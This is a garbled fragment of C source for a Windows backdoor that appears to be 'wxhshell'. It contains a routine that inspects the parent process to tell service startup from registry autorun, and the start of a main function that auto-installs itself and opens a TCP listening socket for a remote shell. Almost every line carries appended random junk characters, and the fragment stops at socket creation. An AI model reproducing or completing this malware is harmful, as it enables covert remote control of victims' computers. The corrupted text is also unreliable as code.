ULONG UniqueProcessId; |Es,$
ULONG InheritedFromUniqueProcessId; gkDXt^Ob
} PROCESS_BASIC_INFORMATION; rQ(u@u;
C[CNJ66
PROCNTQSIP NtQueryInformationProcess; $ve*j=p
ft$!u-`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >]x%+@{|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hX:yn:P~
sj&1I.@,>
HANDLE hProcess; z8j7K'vV1
PROCESS_BASIC_INFORMATION pbi; &kQj)
P"|-)d
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |Y30B,=M
if(NULL == hInst ) return 0; '26
,.1
!1#=j;N`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \eXuNv_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q!WiX|P
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hq|{Nt%Q
}?*$AVs2q
if (!NtQueryInformationProcess) return 0; 'VV"$`Fu"
<CWOx&hr
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tlgg~MViS
if(!hProcess) return 0; ^*F'[!. p
zqLOwzMlLx
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _
Gkb[H&RZ
-HRa6
CloseHandle(hProcess); VDlP,Mm*
@%8$k[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QC(ce)Y
if(hProcess==NULL) return 0; eC_i]q&o|
cA~bH 6
HMODULE hMod; l - ~PX
char procName[255]; MAD t$_
unsigned long cbNeeded; {d%hkbN+{
+A1xqOB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !.7m4mKzo
NYeL1h)l
CloseHandle(hProcess); dvLL~VP
=00sB
if(strstr(procName,"services")) return 1; // 以服务启动 _Nf%x1m5s
rnC<(f22
return 0; // 注册表启动 C|RC9b
} cXNR<`
mcWN.
// 主模块 b@B\2BT
int StartWxhshell(LPSTR lpCmdLine) |AS9^w
{ OpmPw4?}
SOCKET wsl; OG^#e+
BOOL val=TRUE; K<v:RbU|[1
int port=0; T+>W(w
i
struct sockaddr_in door; [x0*x~1B
w}U'>fj
if(wscfg.ws_autoins) Install(); cRSgP{hy
%F(lq*8X
port=atoi(lpCmdLine); <FwAV=}6p
4+Y9":<
if(port<=0) port=wscfg.ws_port; SKo*8r
o[g]Va*8
WSADATA data; ue -a/a
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G*g*+D[HM
WyUa3$[gO
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &